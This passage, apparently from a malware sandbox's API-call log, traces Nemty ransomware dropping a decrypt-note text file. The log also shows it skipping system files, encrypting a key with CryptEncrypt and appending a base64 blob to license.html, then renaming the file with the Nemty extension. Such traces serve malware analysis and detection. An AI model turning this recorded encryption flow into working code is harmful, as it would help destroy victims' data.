Flags=0x0, Size=0x80) returned 0x4f94200 [0172.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0172.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0172.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.954] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.954] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0172.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0172.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0172.954] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0172.955] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.955] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0172.956] CloseHandle (hObject=0x254) returned 1 [0172.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0172.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0172.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0172.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0172.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.956] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.956] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0172.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0172.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.956] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0172.957] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.957] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0172.958] CloseHandle (hObject=0x254) returned 1 [0172.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0172.958] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1aba0ff0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1aba0ff0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0172.958] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0172.958] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1aba0ff0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1aba0ff0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0172.958] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0172.958] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0172.958] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0172.958] lstrcmpiW (lpString1="eula.ini", lpString2=".") returned 1 [0172.958] lstrcmpiW (lpString1="eula.ini", lpString2="..") returned 1 [0172.958] lstrcmpiW (lpString1="eula.ini", lpString2="...") returned 1 [0172.958] lstrcmpiW (lpString1="eula.ini", lpString2="windows") returned -1 [0172.958] lstrcmpiW (lpString1="eula.ini", lpString2="$RECYCLE.BIN") returned 1 [0172.959] lstrcmpiW (lpString1="eula.ini", lpString2="rsa") returned -1 [0172.959] lstrcmpiW (lpString1="eula.ini", lpString2="NTDETECT.COM") returned -1 [0172.959] lstrcmpiW (lpString1="eula.ini", lpString2="ntldr") returned -1 [0172.959] lstrcmpiW (lpString1="eula.ini", lpString2="MSDOS.SYS") returned -1 [0172.959] lstrcmpiW (lpString1="eula.ini", lpString2="IO.SYS") returned -1 [0172.959] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0172.959] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0172.959] lstrcmpiW (lpString1="eula.ini", lpString2="AUTOEXEC.BAT") returned 1 [0172.959] lstrcmpiW (lpString1="eula.ini", lpString2="ntuser.dat") returned -1 [0172.959] lstrcmpiW (lpString1="eula.ini", lpString2="desktop.ini") returned 1 [0172.959] lstrcmpiW (lpString1="eula.ini", lpString2="CONFIG.SYS") returned 1 [0172.959] lstrcmpiW (lpString1="eula.ini", lpString2="RECYCLER") returned -1 [0172.959] lstrcmpiW (lpString1="eula.ini", lpString2="BOOTSECT.BAK") returned 1 [0172.959] lstrcmpiW (lpString1="eula.ini", lpString2="bootmgr") returned 1 [0172.959] lstrcmpiW (lpString1="eula.ini", lpString2="programdata") returned -1 [0172.959] lstrcmpiW (lpString1="eula.ini", lpString2="appdata") returned 1 [0172.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.959] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.959] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.959] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.959] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.959] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.959] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.959] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.959] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.960] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18e95, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0172.960] lstrcmpiW (lpString1="license.html", lpString2=".") returned 1 [0172.960] lstrcmpiW (lpString1="license.html", lpString2="..") returned 1 [0172.960] lstrcmpiW (lpString1="license.html", lpString2="...") returned 1 [0172.960] lstrcmpiW (lpString1="license.html", lpString2="windows") returned -1 [0172.960] lstrcmpiW (lpString1="license.html", lpString2="$RECYCLE.BIN") returned 1 [0172.960] lstrcmpiW (lpString1="license.html", lpString2="rsa") returned -1 [0172.960] lstrcmpiW (lpString1="license.html", lpString2="NTDETECT.COM") returned -1 [0172.960] lstrcmpiW (lpString1="license.html", lpString2="ntldr") returned -1 [0172.960] lstrcmpiW (lpString1="license.html", lpString2="MSDOS.SYS") returned -1 [0172.960] lstrcmpiW (lpString1="license.html", lpString2="IO.SYS") returned 1 [0172.960] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0172.960] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0172.960] lstrcmpiW (lpString1="license.html", lpString2="AUTOEXEC.BAT") returned 1 [0172.960] lstrcmpiW (lpString1="license.html", lpString2="ntuser.dat") returned -1 [0172.960] lstrcmpiW (lpString1="license.html", lpString2="desktop.ini") returned 1 [0172.960] lstrcmpiW (lpString1="license.html", lpString2="CONFIG.SYS") returned 1 [0172.960] lstrcmpiW (lpString1="license.html", lpString2="RECYCLER") returned -1 [0172.960] lstrcmpiW (lpString1="license.html", lpString2="BOOTSECT.BAK") returned 1 [0172.960] lstrcmpiW (lpString1="license.html", lpString2="bootmgr") returned 1 [0172.960] lstrcmpiW (lpString1="license.html", lpString2="programdata") returned -1 [0172.960] lstrcmpiW (lpString1="license.html", lpString2="appdata") returned 1 [0172.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.960] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.960] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.960] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.960] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.960] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0172.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.961] Sleep (dwMilliseconds=0x5) [0172.971] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1abed2b0, dwHighDateTime=0x1d561e8)) [0172.971] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1abed2b0, dwHighDateTime=0x1d561e8)) [0172.971] GetLastError () returned 0xb7 [0172.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.971] GetLastError () returned 0xb7 [0172.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.971] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0172.971] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0172.971] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0172.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0172.971] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="tEGNZc038wJt9l68D4+ZqgeROGBJB4ehKx3l+Hu0pKC8fow47/1YE2mq3z7eg2o2\r\nG2+xg+0kmysMc8siupmbZfFDJ1/mD21sEtDMmh4kBXlZyQ2K0chg6BhrGVSv89MO\r\nK418QiRrJLxInIjbufi8gcA5Wda+0WSG4foITkzTqBI4wkKCgX1vrJPUY37sy7pl\r\n81eZrr9+cTt0iu2f+6iajHrefIDU/YD7AlL+wYbtFN+boIsE0TY5zTHiNT6igmnB\r\n3jH7pSvGh/KK6gkbQW6F5m1RgY3gB3tIGkzOi83SokiQ0vk1ObT8OBLkNl8arq+C\r\noyScQ4AbmNizMoqbQHEJJQ==\r\n", pcchString=0x653e5dc) returned 1 [0172.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0172.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0172.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0172.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0172.971] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0172.972] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=102037) returned 1 [0172.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x18e90) returned 0x6352c48 [0172.972] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.972] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x18e90, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x18e90, lpOverlapped=0x0) returned 1 [0172.980] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.980] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x18e90, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x18e90, lpOverlapped=0x0) returned 1 [0172.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0172.980] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=102037, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x18e95 [0172.980] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0172.981] CloseHandle (hObject=0x3b0) returned 1 [0172.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0172.981] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.981] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0172.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0172.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0172.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.981] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor\\license.html._nemty_kgobjgd_")) returned 1 [0172.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0172.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0172.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0172.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0172.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0172.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.982] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aba0ff0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1aba0ff0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1abc7150, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, 